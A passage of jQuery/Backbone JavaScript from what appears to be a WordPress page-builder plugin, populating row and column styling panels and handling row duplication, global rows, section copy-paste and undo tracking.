$("#defaultRowBgOptions .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $("#defaultRowBgOptions .POPBInputNormalRow .rowBackgroundTypeSolid") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $("#defaultRowBgOptions .popb_tab_content").css("display", "none"); $("#defaultRowBgOptions .content_popb_tab_1").css("display", "block"); } if (typeof rowData["rowHoverOptions"] !== "undefined") { var rowHoverOptions = rowData["rowHoverOptions"]; if (typeof rowHoverOptions["rowBgColorHover"] != "undefined") { if (rowHoverOptions["rowBgColorHover"] != "") { $(".rowBgColorHover").val(rowHoverOptions["rowBgColorHover"]); $(".rowBgColorHover").spectrum( "set", rowHoverOptions["rowBgColorHover"] ); } } if (rowHoverOptions["rowHoverTransitionDuration"] != "") { $(".rowHoverTransitionDuration").val( rowHoverOptions["rowHoverTransitionDuration"] ); } if (rowHoverOptions["rowBackgroundTypeHover"] == "solid") { $(".rowBackgroundTypeSolidHover").prop("checked", true); $(".POPBInputHoverRow .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $(".rowBackgroundTypeSolidHover") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $(".POPBInputHoverRow .popb_tab_content").css("display", "none"); $(".POPBInputHoverRow .content_popb_tab_1").css("display", "block"); } if (rowHoverOptions["rowBackgroundTypeHover"] == "gradient") { $(".rowBackgroundTypeGradientHover").prop("checked", true); $(".POPBInputHoverRow .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $(".rowBackgroundTypeGradientHover") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $(".POPBInputHoverRow .popb_tab_content").css("display", "none"); $(".POPBInputHoverRow .content_popb_tab_2").css("display", "block"); } if ( rowHoverOptions["rowBackgroundTypeHover"] == "" || typeof rowHoverOptions["rowBackgroundTypeHover"] == "undefined" ) { $(".rowBackgroundTypeSolidHover").prop("checked", false); $(".rowBackgroundTypeGradientHover").prop("checked", false); $(".POPBInputHoverRow .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); } var rowGradientHover = rowHoverOptions["rowGradientHover"]; $.each(rowGradientHover, function (index, val) { if (val != "") { $("." + index).val(val); if (index == "rowGradientColorFirstHover") { $(".rowGradientColorFirstHover").spectrum("set", val); } if (index == "rowGradientColorSecondHover") { $(".rowGradientColorSecondHover").spectrum("set", val); } } }); if (rowGradientHover["rowGradientTypeHover"] == "linear") { $(".radialInputHover").css("display", "none"); $(".linearInputHover").css("display", "block"); } else if (rowGradientHover["rowGradientTypeHover"] == "radial") { $(".radialInputHover").css("display", "block"); $(".linearInputHover").css("display", "none"); } } else { $(".rowBackgroundTypeSolidHover").prop("checked", false); $(".rowBackgroundTypeGradientHover").prop("checked", false); } if (typeof rowData["rowBgOverlayColor"] !== "undefined") { if (rowData["rowBgOverlayColor"] != "") { $(".rowBgOverlayColor").val(rowData["rowBgOverlayColor"]); $(".rowBgOverlayColor").spectrum("set", rowData["rowBgOverlayColor"]); } } if (typeof rowData["rowOverlayGradient"] !== "undefined") { var rowOverlayGradient = rowData["rowOverlayGradient"]; $.each(rowOverlayGradient, function (index, val) { if (val != "") { $("." + index).val(val); if (index == "rowOverlayGradientColorFirst") { $(".rowOverlayGradientColorFirst").spectrum("set", val); } if (index == "rowOverlayGradientColorSecond") { $(".rowOverlayGradientColorSecond").spectrum("set", val); } } }); if (rowOverlayGradient["rowOverlayGradientType"] == "linear") { $(".radialInput").css("display", "none"); $(".linearInput").css("display", "block"); } else if (rowOverlayGradient["rowOverlayGradientType"] == "radial") { $(".radialInput").css("display", "block"); $(".linearInput").css("display", "none"); } } if (typeof rowData["rowOverlayBackgroundType"] !== "undefined") { if (rowData["rowOverlayBackgroundType"] == "solid") { $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeSolid" ).prop("checked", true); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popbNavItem label" ).css({ background: "#f1f1f1", color: "#333" }); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeSolid" ) .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popb_tab_content" ).css("display", "none"); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .content_popb_tab_1" ).css("display", "block"); } if (rowData["rowOverlayBackgroundType"] == "gradient") { $( "#defaultRowBgOverlayOptions .rowOverlayBackgroundTypeGradient" ).prop("checked", true); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popbNavItem label" ).css({ background: "#f1f1f1", color: "#333" }); $("#defaultRowBgOverlayOptions .rowOverlayBackgroundTypeGradient") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .popb_tab_content" ).css("display", "none"); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .content_popb_tab_2" ).css("display", "block"); } } else { $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeSolid" ).prop("checked", false); $( "#defaultRowBgOverlayOptions .POPBInputNormalRowOverlay .rowOverlayBackgroundTypeGradient" ).prop("checked", false); $("#defaultRowBgOverlayOptions .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $("#defaultRowBgOverlayOptions .popb_tab_content").css( "display", "none" ); $("#defaultRowBgOverlayOptions .content_popb_tab_1").css( "display", "block" ); } if (typeof rowData["rowBackgroundParallax"] !== "undefined") { if (rowData["rowBackgroundParallax"] == "true") { $(".rowBackgroundParallax").val("true"); } else { $(".rowBackgroundParallax").val("false"); } } if (typeof rowData["rowCustomClass"] !== "undefined") { if (rowData["rowCustomClass"] != "") { $(".rowCustomClass").val(rowData["rowCustomClass"]); } } if (typeof rowData["rowHideOnDesktop"] !== "undefined") { if (rowData["rowHideOnDesktop"] != "") { $(".rowHideOnDesktop").val(rowData["rowHideOnDesktop"]); } if (rowData["rowHideOnTablet"] != "") { $(".rowHideOnTablet").val(rowData["rowHideOnTablet"]); } if (rowData["rowHideOnMobile"] != "") { $(".rowHideOnMobile").val(rowData["rowHideOnMobile"]); } } if (typeof this.model.get("rowHeightTablet") !== "undefined") { if (this.model.get("rowHeightTablet") != "") { $(".rowHeightTablet").val(this.model.get("rowHeightTablet")); } if (this.model.get("rowHeightUnitTablet") != "") { $(".rowHeightUnitTablet").val(this.model.get("rowHeightUnitTablet")); } if (this.model.get("rowHeightMobile") != "") { $(".rowHeightMobile").val(this.model.get("rowHeightMobile")); } if (this.model.get("rowHeightUnitMobile") != "") { $(".rowHeightUnitMobile").val(this.model.get("rowHeightUnitMobile")); } } if (typeof rowData["marginTablet"] !== "undefined") { var marginTablet = rowData["marginTablet"]; if (marginTablet["rMTT"] != "" && marginTablet["rMTT"] != "0") { $(".rowMarginTopTablet").val(marginTablet["rMTT"]); } if (marginTablet["rMBT"] != "" && marginTablet["rMBT"] != "0") { $(".rowMarginBottomTablet").val(marginTablet["rMBT"]); } if (marginTablet["rMLT"] != "" && marginTablet["rMLT"] != "0") { $(".rowMarginLeftTablet").val(marginTablet["rMLT"]); } if (marginTablet["rMRT"] != "" && marginTablet["rMRT"] != "0") { $(".rowMarginRightTablet").val(marginTablet["rMRT"]); } } if (typeof rowData["marginMobile"] !== "undefined") { var marginMobile = rowData["marginMobile"]; if (marginMobile["rMTM"] != "" && marginMobile["rMTM"] != "0") { $(".rowMarginTopMobile").val(marginMobile["rMTM"]); } if (marginMobile["rMBM"] != "" && marginMobile["rMBM"] != "0") { $(".rowMarginBottomMobile").val(marginMobile["rMBM"]); } if (marginMobile["rMLM"] != "" && marginMobile["rMLM"] != "0") { $(".rowMarginLeftMobile").val(marginMobile["rMLM"]); } if (marginMobile["rMRM"] != "" && marginMobile["rMRM"] != "0") { $(".rowMarginRightMobile").val(marginMobile["rMRM"]); } } if (typeof rowData["paddingTablet"] !== "undefined") { var paddingTablet = rowData["paddingTablet"]; if (paddingTablet["rPTT"] != "" && paddingTablet["rPTT"] != "1.5") { $(".rowPaddingTopTablet").val(paddingTablet["rPTT"]); } if (paddingTablet["rPBT"] != "" && paddingTablet["rPBT"] != "1.5") { $(".rowPaddingBottomTablet").val(paddingTablet["rPBT"]); } if (paddingTablet["rPLT"] != "" && paddingTablet["rPLT"] != "1.5") { $(".rowPaddingLeftTablet").val(paddingTablet["rPLT"]); } if (paddingTablet["rPRT"] != "" && paddingTablet["rPRT"] != "1.5") { $(".rowPaddingRightTablet").val(paddingTablet["rPRT"]); } } if (typeof rowData["paddingMobile"] !== "undefined") { var paddingMobile = rowData["paddingMobile"]; if (paddingMobile["rPTM"] != "" && paddingMobile["rPTM"] != "1.5") { $(".rowPaddingTopMobile").val(paddingMobile["rPTM"]); } if (paddingMobile["rPBM"] != "" && paddingMobile["rPBM"] != "1.5") { $(".rowPaddingBottomMobile").val(paddingMobile["rPBM"]); } if (paddingMobile["rPLM"] != "" && paddingMobile["rPLM"] != "1.5") { $(".rowPaddingLeftMobile").val(paddingMobile["rPLM"]); } if (paddingMobile["rPRM"] != "" && paddingMobile["rPRM"] != "1.5") { $(".rowPaddingRightMobile").val(paddingMobile["rPRM"]); } } if (typeof rowData["bgSTop"] !== "undefined") { $.each(rowData["bgSTop"], function (index, val) { if (val != "") { $('[data-optname="rowData.bgSTop.' + index + '"]').val(val); if (index == "rbgstColor") { $('[data-optname="rowData.bgSTop.' + index + '"]').spectrum( "set", val ); } } }); $.each(rowData["bgSBottom"], function (index, val) { if (val != "") { $('[data-optname="rowData.bgSBottom.' + index + '"]').val(val); if (index == "rbgsbColor") { $('[data-optname="rowData.bgSBottom.' + index + '"]').spectrum( "set", val ); } } }); } $(".rowBgImgCustomPositionDiv").css("display", "none"); $(".rowBgImgCustomSizeDiv").css("display", "none"); $(".imageBackgroundOpsRow").css("display", "none"); if (typeof rowData["bg_imgT"] == "undefined") { rowData["bg_imgT"] = ""; } if (typeof rowData["bg_imgM"] == "undefined") { rowData["bg_imgM"] = ""; } if ( rowData["bg_img"] != "" || rowData["bg_imgT"] != "" || rowData["bg_imgM"] != "" ) { $(".imageBackgroundOpsRow").css("display", "block"); } else { $(".imageBackgroundOpsRow").css("display", "none"); } if (typeof rowData["bgImgOps"] != "undefined") { $.each(rowData["bgImgOps"], function (index, value) { if (value != "") { $('[data-optname="rowData.bgImgOps.' + index + '"]').val(value); if (index == "pos" || index == "posT" || index == "posM") { if (value == "custom") { $(".rowBgImgCustomPositionDiv").css("display", "block"); } } if (index == "size" || index == "sizeT" || index == "sizeM") { if (value == "custom") { $(".rowBgImgCustomSizeDiv").css("display", "block"); } } } }); } var customJS = rowData["customJS"]; if (rowData["customStyling"] != "") { $(".rowCustomStyling").val(rowData["customStyling"]); } if (rowData["customJS"] != "") { $(".rowCustomJS").val(rowData["customJS"]); } if (rowData["conType"] == "boxed") { $(".boxedWidthOptionContainer").css("display", "block"); } else { $(".boxedWidthOptionContainer").css("display", "none"); } $(".pasteCopyAttrInput").val(""); $(".edit_row").css("display", "block"); if (typeof resizeWindowOpen != "undefined") { resizeWindowOpen(); } jQuery('section[rowid="' + rowID + '"]') .children("#ulpb_row_controls") .css("display", "block"); }, updateRow: function () { //console.log( 'updateRow triggered'); //var tua0 = performance.now(); var updatedRowOpName = pageBuilderApp.changedRowOpName; if (typeof updatedRowOpName == "undefined") { updatedRowOpName = " "; return; } if (typeof this.model.get("column0") != "undefined") { delete this.model.attributes.column0; } var thischangedValue = $( '[data-optname="' + updatedRowOpName + '"]' ).val(); var thisModelDataAttr = _.clone(this.model.attributes); var defaultModelDataAttr = JSON.stringify( _.clone(pageBuilderApp.rowModelDefaultOps) ); defaultModelDataAttr = JSON.parse(defaultModelDataAttr); var prevRowCols = this.model.get("columns"); var prevRowHeight = this.model.get("rowHeight"); var prevRowHeightTablet = this.model.get("rowHeightTablet"); var prevRowHeightMobile = this.model.get("rowHeightMobile"); var prevRowHeightUnit = this.model.get("rowHeightUnit"); var prevRowHeightUnitTablet = this.model.get("rowHeightUnitTablet"); var prevRowHeightUnitMobile = this.model.get("rowHeightUnitMobile"); mergeNonsetObjectKeys( thisModelDataAttr["rowData"], defaultModelDataAttr["rowData"] ); if ( updatedRowOpName == "rowData.rowBackgroundType" || updatedRowOpName == "rowData.rowHoverOptions.rowBackgroundTypeHover" || updatedRowOpName == "rowData.rowOverlayBackgroundType" ) { thischangedValue = $( '[data-optname="' + updatedRowOpName + '"]:checked' ).val(); } setUpdatedOptsObject( thisModelDataAttr, updatedRowOpName, thischangedValue ); if (updatedRowOpName) { this.model.set(thisModelDataAttr); } rowColumns = this.model.get("columns"); var numberOfColumnsSelected = rowColumns; if ( typeof this.model.get("column" + numberOfColumnsSelected) == "undefined" ) { var thisModelDefaultColOps = JSON.stringify( _.clone(pageBuilderApp.thisModelDefaultColOps) ); thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps); for (var i = 1; i <= numberOfColumnsSelected; i++) { if (typeof this.model.get("column" + i) == "undefined") { this_column = "column" + i; this.model.set({ [this_column]: thisModelDefaultColOps, }); var thiscolas = this.model.get(this_column); //console.log(thiscolas['columnOptions']['padding']['columnPaddingLeft']); } } } rowID = this.model.get("rowID"); rowCID = this.model.cid; rowColumns = this.model.get("columns"); rowHeightUnit = this.model.get("rowHeightUnit"); rowData = this.model.get("rowData"); rowHeightTablet = this.model.get("rowHeightTablet"); rowHeightUnitTablet = this.model.get("rowHeightUnitTablet"); rowHeightMobile = this.model.get("rowHeightMobile"); rowHeightUnitMobile = this.model.get("rowHeightUnitMobile"); rowOptionsRender( rowID, rowCID, rowColumns, rowHeightUnit, rowData, rowHeightTablet, rowHeightUnitTablet, rowHeightMobile, rowHeightUnitMobile ); var aftRowCols = this.model.get("columns"); var aftRowHeight = this.model.get("rowHeight"); var aftRowHeightTablet = this.model.get("rowHeightTablet"); var aftRowHeightMobile = this.model.get("rowHeightMobile"); var aftRowHeightUnit = this.model.get("rowHeightUnit"); var aftRowHeightUnitTablet = this.model.get("rowHeightUnitTablet"); var aftRowHeightUnitMobile = this.model.get("rowHeightUnitMobile"); var aftrowVideo = this.model.attributes["rowData"]["video"]; if ( aftRowCols != prevRowCols || aftRowHeight != prevRowHeight || aftRowHeightTablet != prevRowHeightTablet || aftRowHeightMobile != prevRowHeightMobile || aftRowHeightUnit != prevRowHeightUnit || aftRowHeightUnitTablet != prevRowHeightUnitTablet || aftRowHeightUnitMobile != prevRowHeightUnitMobile ) { $(this.el).html(""); this.render(); } if (updatedRowOpName.includes("video")) { $(this.el).html(""); this.render(); } if (pageBuilderApp.isColumnAction == false) { var thisChangeRedoProps = { changeModelType: "row", thisModelCId: rowCID, thisModelElId: rowID, changedOpName: updatedRowOpName, changedOpValue: pageBuilderApp.prevStateOption, }; sendDataBackToUndoStack(thisChangeRedoProps); } pageBuilderApp.isColumnAction = false; pageBuilderApp.ifChangesMade = true; //var tua1 = performance.now(); //console.log("Call to updateRowTrigger took " + (tua1 - tua0) + " milliseconds."); //pageBuilderApp.ifChangesMade = true; jQuery('section[rowid="' + rowID + '"]') .children("#ulpb_row_controls") .css("display", "block"); }, setGlobalRow: function () { if (isGlobalRowActive !== "true") { alert("Global Row Extension is not active."); } else { var askGlobalRowName = prompt("Name of the row ?"); var globalRowAttrToSet = this.model.attributes; if (askGlobalRowName != null) { if (askGlobalRowName == "") { askGlobalRowName = "Global Row"; } var ifIsGlobal = this.model.get("globalRow"); if (typeof ifIsGlobal != "undefined") { } else { var retrievedPostID = sendGlobalRowDataToDb( globalRowAttrToSet, askGlobalRowName ); this.model.set({ globalRow: { isGlobalRow: true, globalRowPid: $(".globalRowRetrievedPostID").val(), }, }); } pageBuilderApp.ifChangesMade = true; $(this.el).html(""); this.render(); } } }, DuplicateRow: function () { newRowModel = this.model.clone(); var modelIndex = pageBuilderApp.rowList.indexOf(this.model); rowID = "ulpb_Row" + Math.floor(Math.random() * 200000 + 100); newRowModel.set({ rowID: rowID, globalRow: "unset", }); newRowModel.unset("globalRow"); var stuffedModel = JSON.stringify(newRowModel.attributes); var unStuffedModel = JSON.parse(stuffedModel); pageBuilderApp.rowList.add(unStuffedModel, { at: modelIndex + 1 }); var duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1); rowCID = duplicatedModel.cid; var thisChangeRedoProps = { changeModelType: "rowSpecialAction", thisModelCId: rowCID, thisModelElId: rowID, specialAction: "duplicate", thisModelVal: duplicatedModel, thisModelIndex: modelIndex + 1, }; sendDataBackToUndoStack(thisChangeRedoProps); pageBuilderApp.ifChangesMade = true; $(this.el).html(""); this.render(); }, addNewRow: function () { var modelIndex = pageBuilderApp.rowList.indexOf(this.model); var rowID = "ulpb_Row" + Math.floor(Math.random() * 200000 + 100); var defaultModelDataAttr = JSON.stringify( _.clone(pageBuilderApp.rowModelDefaultOps) ); defaultModelDataAttr = JSON.parse(defaultModelDataAttr); pageBuilderApp.rowList.add( { rowID: rowID, rowHeight: 100, columns: 0, rowData: defaultModelDataAttr["rowData"], }, { at: modelIndex + 1 } ); var duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1); rowCID = duplicatedModel.cid; var thisChangeRedoProps = { changeModelType: "rowSpecialAction", thisModelCId: rowCID, thisModelElId: rowID, specialAction: "duplicate", thisModelVal: duplicatedModel, thisModelIndex: modelIndex + 1, }; sendDataBackToUndoStack(thisChangeRedoProps); pageBuilderApp.ifChangesMade = true; }, copySectionOps: function () { var thisSectionOps = this.model.get("rowData"); pageBuilderApp.copiedSecOps = JSON.stringify(thisSectionOps); }, pasteSectionOps: function () { var thisSectionOpsBefore = this.model.get("rowData"); if (pageBuilderApp.copiedSecOps != "") { var sectionOpsToPaste = JSON.parse(pageBuilderApp.copiedSecOps); this.model.set("rowData", sectionOpsToPaste); } var rowID = this.model.get("rowID"); var rowCID = this.model.cid; modelIndex = pageBuilderApp.rowList.indexOf(this.model); var thisChangeRedoProps = { changeModelType: "rowSpecialAction", thisModelCId: rowCID, thisModelElId: rowID, specialAction: "sectionOps", thisModelVal: thisSectionOpsBefore, thisModelIndex: modelIndex, }; sendDataBackToUndoStack(thisChangeRedoProps); pageBuilderApp.copiedSecOps = ""; $(this.el).html(""); this.render(); }, addNewRowBlock: function (ev) { var modelIndex = pageBuilderApp.rowList.indexOf(this.model); $(".insertRowBlockAtIndex").val(modelIndex); $(".ulpb_column_controls").css("display", "none"); $(".columnWidgetPopup").css("display", "none"); $(".editWidgetSaveButton").css("display", "none"); $(".pageops_modal").css("display", "none"); $(".edit_column").css("display", "none"); $(".insertRowBlock").show(300); }, addNewGlobalRow: function () { var modelIndex = pageBuilderApp.rowList.indexOf(this.model); $(".insert_Global_row").show(300); $(".addNewGlobalRowClosebutton").one("click", function () { $(".globalRowRetrievedAttributes").val(""); selectGlobalRowToInsert = $(".selectGlobalRowToInsert").val(); if (selectGlobalRowToInsert != "") { getGlobalRowDataFromDb(selectGlobalRowToInsert); } retrievedGlobalRowAttributes = $(".globalRowRetrievedAttributes").val(); retrievedGlobalRowAttributes = JSON.parse(retrievedGlobalRowAttributes); if (retrievedGlobalRowAttributes != "") { pageBuilderApp.rowList.add(retrievedGlobalRowAttributes, { at: modelIndex + 1, }); } var duplicatedModel = pageBuilderApp.rowList.at(modelIndex + 1); var rowCID = duplicatedModel.cid; var rowID = duplicatedModel.attributes.rowID; var thisChangeRedoProps = { changeModelType: "rowSpecialAction", thisModelCId: rowCID, thisModelElId: rowID, specialAction: "NewGlobalRow", thisModelVal: selectGlobalRowToInsert, thisModelIndex: modelIndex + 1, }; sendDataBackToUndoStack(thisChangeRedoProps); $(".insert_Global_row").css("display", "none"); }); pageBuilderApp.ifChangesMade = true; }, EditColumn: function (ev) { $(".pbSearchWidget").val(""); jQuery(".widget").css("display", "block"); $(".columnWidgetPopup, .edit_row").css("display", "none"); $(".ulpb_row_controls, .edit_row").css("display", "none"); $(".pageops_modal").css("display", "none"); $(".insertRowBlock").css("display", "none"); document.getElementById("colOpsForm").reset(); $(".checkIfWidgetsAreLoadedInColumn").val("false"); var this_column = $(ev.target).attr("data-col_id"); var rowID = this.model.get("rowID"); $(".ColcurrentEditableRowID").val(rowID); $(".currentEditableColId").val(this_column); pageBuilderApp.currentlyEditedColId = rowID + "-" + this_column; pageBuilderApp.currentlyEditedThisCol = this_column; pageBuilderApp.currentlyEditedThisRow = this.model.get("rowID"); var thisColumnData = this.model.get(this_column); var this_column_widgets = thisColumnData["colWidgets"]; var this_column_options = thisColumnData["columnOptions"]; var thisModelDataAttr = this_column_options; if (typeof thisModelDataAttr["colBorder"] !== "undefined") { colBorder = thisModelDataAttr["colBorder"]; if (typeof colBorder["bwt"] == "undefined") { colBorder["bwt"] = colBorder["colBorderWidth"]; colBorder["bwb"] = colBorder["colBorderWidth"]; colBorder["bwl"] = colBorder["colBorderWidth"]; colBorder["bwr"] = colBorder["colBorderWidth"]; } if (typeof colBorder["brt"] == "undefined") { colBorder["brt"] = colBorder["colBorderRadius"]; colBorder["brb"] = colBorder["colBorderRadius"]; colBorder["brl"] = colBorder["colBorderRadius"]; colBorder["brr"] = colBorder["colBorderRadius"]; } } var thisModelDefaultColOps = JSON.stringify( _.clone(pageBuilderApp.thisModelDefaultColOps) ); thisModelDefaultColOps = JSON.parse(thisModelDefaultColOps); mergeNonsetObjectKeys( thisModelDataAttr, thisModelDefaultColOps.columnOptions ); var this_column_margin = this_column_options["margin"]; var this_column_padding = this_column_options["padding"]; if ( this_column_options["bg_color"] != "" && this_column_options["bg_color"] != "transparent" ) { $(".columnBgColor").val(this_column_options["bg_color"]); } $(".columnBgColor").spectrum("set", this_column_options["bg_color"]); if (this_column_options["width"] != "") { $(".columnWidth").val(this_column_options["width"]); } if (typeof this_column_options["columnCSS"] == "undefined") { this_column_options["columnCSS"] = ""; } if (this_column_options["columnCSS"] != "") { $(".columnCustomStyling").val(this_column_options["columnCSS"]); } if ( this_column_margin["columnMarginTop"] != "" && this_column_margin["columnMarginTop"] != "0" ) { $(".columnMarginTop").val(this_column_margin["columnMarginTop"]); } if ( this_column_margin["columnMarginBottom"] != "" && this_column_margin["columnMarginBottom"] != "0" ) { $(".columnMarginBottom").val(this_column_margin["columnMarginBottom"]); } if ( this_column_margin["columnMarginLeft"] != "" && this_column_margin["columnMarginLeft"] != "0" ) { $(".columnMarginLeft").val(this_column_margin["columnMarginLeft"]); } if ( this_column_margin["columnMarginRight"] != "" && this_column_margin["columnMarginRight"] != "0" ) { $(".columnMarginRight").val(this_column_margin["columnMarginRight"]); } if ( this_column_padding["columnPaddingTop"] != "" && this_column_padding["columnPaddingTop"] != "0" ) { $(".columnPaddingTop").val(this_column_padding["columnPaddingTop"]); } if ( this_column_padding["columnPaddingBottom"] != "" && this_column_padding["columnPaddingBottom"] != "0" ) { $(".columnPaddingBottom").val( this_column_padding["columnPaddingBottom"] ); } if ( this_column_padding["columnPaddingLeft"] != "" && this_column_padding["columnPaddingLeft"] != "0" ) { $(".columnPaddingLeft").val(this_column_padding["columnPaddingLeft"]); } if ( this_column_padding["columnPaddingRight"] != "" && this_column_padding["columnPaddingRight"] != "0" ) { $(".columnPaddingRight").val(this_column_padding["columnPaddingRight"]); } if (typeof this_column_options["columnCustomClass"] !== "undefined") { if (this_column_options["columnCustomClass"] != "") { $(".columnCustomClass").val(this_column_options["columnCustomClass"]); } } if (typeof this_column_options["colCAD"] != "undefined") { $(".colCAD").val(this_column_options["colCAD"]); $(".colCAT").val(this_column_options["colCAT"]); $(".colCAM").val(this_column_options["colCAM"]); } if (typeof this_column_options["colHideOnDesktop"] != "undefined") { if (this_column_options["colHideOnDesktop"] != "") { $(".colHideOnDesktop").val(this_column_options["colHideOnDesktop"]); } if (this_column_options["colHideOnTablet"] != "") { $(".colHideOnTablet").val(this_column_options["colHideOnTablet"]); } if (this_column_options["colHideOnMobile"] != "") { $(".colHideOnMobile").val(this_column_options["colHideOnMobile"]); } } if (typeof this_column_options["colBoxShadow"] !== "undefined") { colBoxShadow = this_column_options["colBoxShadow"]; $.each(colBoxShadow, function (index, val) { if (val != "") { $('[data-optname="colBoxShadow.' + index + '"]').val(val); if (index == "colBoxShadowColor") { $(".colBoxShadowColor").spectrum( "set", colBoxShadow["colBoxShadowColor"] ); } } }); } if (typeof this_column_options["colBorder"] !== "undefined") { colBorder = this_column_options["colBorder"]; if (typeof colBorder["bwt"] == "undefined") { colBorder["bwt"] = colBorder["colBorderWidth"]; colBorder["bwb"] = colBorder["colBorderWidth"]; colBorder["bwl"] = colBorder["colBorderWidth"]; colBorder["bwr"] = colBorder["colBorderWidth"]; } if (typeof colBorder["brt"] == "undefined") { colBorder["brt"] = colBorder["colBorderRadius"]; colBorder["brb"] = colBorder["colBorderRadius"]; colBorder["brl"] = colBorder["colBorderRadius"]; colBorder["brr"] = colBorder["colBorderRadius"]; } $.each(colBorder, function (index, val) { if (val != "") { $('[data-optname="colBorder.' + index + '"]').val(val); } if (index == "colBorderColor") { $("." + index).spectrum("set", val); } }); } if (typeof this_column_options["paddingTablet"] !== "undefined") { colMarginTablet = this_column_options["marginTablet"]; colPaddingTablet = this_column_options["paddingTablet"]; colMarginMobile = this_column_options["marginMobile"]; colPaddingMobile = this_column_options["paddingMobile"]; if (this_column_options["widthTablet"] != "") { $(".columnWidthTablet").val(this_column_options["widthTablet"]); } if (this_column_options["widthMobile"] != "") { $(".columnWidthMobile").val(this_column_options["widthMobile"]); } if (colMarginTablet["rMTT"] != "") { $(".columnMarginTopTablet").val(colMarginTablet["rMTT"]); } if (colMarginTablet["rMBT"] != "") { $(".columnMarginBottomTablet").val(colMarginTablet["rMBT"]); } if (colMarginTablet["rMLT"] != "") { $(".columnMarginLeftTablet").val(colMarginTablet["rMLT"]); } if (colMarginTablet["rMRT"] != "") { $(".columnMarginRightTablet").val(colMarginTablet["rMRT"]); } if (colMarginMobile["rMTM"] != "") { $(".columnMarginTopMobile").val(colMarginMobile["rMTM"]); } if (colMarginMobile["rMBM"] != "") { $(".columnMarginBottomMobile").val(colMarginMobile["rMBM"]); } if (colMarginMobile["rMLM"] != "") { $(".columnMarginLeftMobile").val(colMarginMobile["rMLM"]); } if (colMarginMobile["rMRM"] != "") { $(".columnMarginRightMobile").val(colMarginMobile["rMRM"]); } if (colPaddingTablet["rPTT"] != "") { $(".columnPaddingTopTablet").val(colPaddingTablet["rPTT"]); } if (colPaddingTablet["rPBT"] != "") { $(".columnPaddingBottomTablet").val(colPaddingTablet["rPBT"]); } if (colPaddingTablet["rPLT"] != "") { $(".columnPaddingLeftTablet").val(colPaddingTablet["rPLT"]); } if (colPaddingTablet["rPRT"] != "") { $(".columnPaddingRightTablet").val(colPaddingTablet["rPRT"]); } if (colPaddingMobile["rPTM"] != "") { $(".columnPaddingTopMobile").val(colPaddingMobile["rPTM"]); } if (colPaddingMobile["rPBM"] != "") { $(".columnPaddingBottomMobile").val(colPaddingMobile["rPBM"]); } if (colPaddingMobile["rPLM"] != "") { $(".columnPaddingLeftMobile").val(colPaddingMobile["rPLM"]); } if (colPaddingMobile["rPRM"] != "") { $(".columnPaddingRightMobile").val(colPaddingMobile["rPRM"]); } } if (typeof this_column_options["colBgImg"] != "undefined") { if (this_column_options["colBgImg"] != "") { $(".colBgImg").val(this_column_options["colBgImg"]); } } if (typeof this_column_options["colBgImgT"] != "undefined") { if (this_column_options["colBgImgT"] != "") { $('[data-optname="colBgImgT"]').val(this_column_options["colBgImgT"]); } } if (typeof this_column_options["colBgImgM"] != "undefined") { if (this_column_options["colBgImgM"] != "") { $('[data-optname="colBgImgM"]').val(this_column_options["colBgImgM"]); } } if (typeof this_column_options["colGradient"] != "undefined") { var colGradient = this_column_options["colGradient"]; $.each(colGradient, function (index, val) { if (val != "") { $("." + index).val(val); if (index == "colGradientColorFirst") { $(".colGradientColorFirst").spectrum("set", val); } if (index == "colGradientColorSecond") { $(".colGradientColorSecond").spectrum("set", val); } } }); if (colGradient["colGradientType"] == "linear") { $(".radialInput").css("display", "none"); $(".linearInput").css("display", "block"); } else if (colGradient["colGradientType"] == "radial") { $(".radialInput").css("display", "block"); $(".linearInput").css("display", "none"); } } if (typeof this_column_options["colBackgroundType"] == "undefined") { this_column_options["colBackgroundType"] = "solid"; } if (this_column_options["colBackgroundType"] == "solid") { $(".POPBInputNormalRow .colBackgroundTypeSolid").prop("checked", true); $(".POPBInputNormalRow .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $(".POPBInputNormalRow .colBackgroundTypeSolid") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $(".POPBInputNormalRow .popb_tab_content").css("display", "none"); $(".POPBInputNormalRow .content_popb_tab_1").css("display", "block"); } if (this_column_options["colBackgroundType"] == "gradient") { $(".colBackgroundTypeGradient").prop("checked", true); $(".POPBInputNormalRow .popbNavItem label").css({ background: "#f1f1f1", color: "#333", }); $(".colBackgroundTypeGradient") .prev("label") .css({ background: "#c5c5c5", color: "#fff" }); $(".POPBInputNormalRow .popb_tab_content").css("display", "none"); $(".POPBInputNormalRow .content_popb_tab_2").css("display", "block"); } if (typeof this_column_options["colHoverOptions"] !== "undefined") { var colHoverOptions = this_column_options["colHoverOptions"]; if (colHoverOptions["colBgColorHover"] != "") { $(".colBgColorHover").val(colHoverOptions["colBgColorHover"]); $(".colBgColorHover").spectrum( "set", colHoverOptions["colBgColorHover"] ); } if (colHoverOptions["colHoverTransitionDuration"] != "") { $(".colHoverTransitionDuration").val( colHoverOptions["colHoverTransitionDuration"] ); } if (colHoverOptions["colBackgroundTypeHover"] == "solid") { $(".colBackgroundTypeSolidHover").prop("checked", true); $(".colBackgroundTypeGradientHover").prop("checked", false); $(".POPBInputHovercol .popbNavItem label").css({ background: 